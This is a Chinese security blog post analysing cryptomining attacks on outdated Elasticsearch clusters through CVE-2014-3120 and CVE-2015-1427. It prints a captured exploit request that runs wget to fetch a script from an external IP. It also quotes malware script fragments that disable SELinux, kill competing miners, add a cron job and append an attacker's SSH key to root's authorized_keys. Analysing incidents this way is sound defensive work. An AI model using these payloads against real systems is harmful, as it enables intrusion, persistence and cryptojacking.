当前位置:首页 > 知识 >

ElasticSearch漏洞挖矿案例分析

0x00、前言

在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。

0x01、入侵手段

对于mongodb、redis等数据库的攻击已经讲的非常多了,今天给大家分享的是针对不安全的Elasticsearch集群的攻击。这些攻击利用CVE-2014-3120和CVE-2015-1427。这两种攻击仅存在于旧版本的Elasticsearch中,并利用将脚本传递给搜索查询的能力。把有效攻击载荷存储在里面并且执行。

态势感知-网络入侵防护系统中,对相关的入侵有检测功能,策略如下:

1、ETWEB_SERVERPossibleCVE-2014-3120ElasticSearchRemoteCodeExecutionAttempt 2、ETWEB_SERVERPossibleCVE-2015-1427ElasticSearchSandboxEscapeRemoteCodeExecutionAttempt

通过入侵检测系统,可以获取到有效的入侵载荷。

"POST/_search?prettyHTTP/1.1 Host:xxx.xx.113.xxx:9200 User-Agent:Go-http-client/1.1\r\nContent-Length:208 Connection:close\r\nAccept-Encoding:gzip { "size":1, "script_fields":{ "lupin":{ "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime.exec(\"wgethttp://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh-P/tmp/sssooo\").getText" } } }"

我们分析一下攻击载荷都干了什么事。

1、关闭SElinux,干掉现有挖矿进程

#!/bin/sh setenforce0 2>/dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null ... mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url ps auxf|grep -v grep|grep "mine.moneropool.com"|awk "{print $2}"|xargs kill -9 ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk "{print $2}"|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk "{print $2}"|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk "{print $2}"|xargs kill -9 ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk "{print $2}"|xargs kill -9 ps auxf|grep -v grep|grep "monerohash.com"|awk "{print $2}"|xargs kill -9 ... pkill -f biosetjenkins pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr ...

2、在crontab添加定时升级程序,添加自己C2主机的sshkey,下载挖矿配置文件,配置防火墙、删除日志、开启反弹shell。

if [ -f "$rtdir" ] then echo "iamroot" echo "goto1" > /etc/devtools chattr -i /etc/devtool* chattr -i /etc/config.json* chattr -i /etc/update.sh* chattr -i /root/.ssh/authorized_keys* chattr -i /etc/systemctI if [ -f "/usr/bin/crontab" ] then [[ $cont =~ "update.sh" ]] || (crontab -l;echo "*/10****sh /etc/update.sh >/dev/null 2<&1")|crontab - else echo "*/10****sh /etc/update.sh >/dev/null 2<&1" >> ${crondir} fi chmod 700 /root/.ssh/ echo /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPK+J+AIJvoCX67fFzfbNU5MT816KDmggltbgEI0hKZRdmMMe1ao/3CEgIzeqGbTff1suT/F1POUjGrf5t/ZqyIJzCIBKqNsxzM4tRNxrIGrqKnZypRlXdX+uZNaxmNJZGkkmtdeseekped0WnWk5SsvbYghBn4y9lZnsO+C1EgjLNWkbRPuoo/RkWTIXDmB7M7UcfYf+sSpApACt8DRydSEkeY709WtL0aANnN057Wnp/Okv+buM4mnkuteLtZvCAySt7PVBrCKyhItZx9VX/TMegljt/UPDaKfAeWF14Q1ORLRQkzZt9k+pY/ccNNbS53OmG0NhQ/awchmgXUpsProot@vultr.guest" >> /root/.ssh/authorized_keys

猜你喜欢

关注我们

微信二维码

微信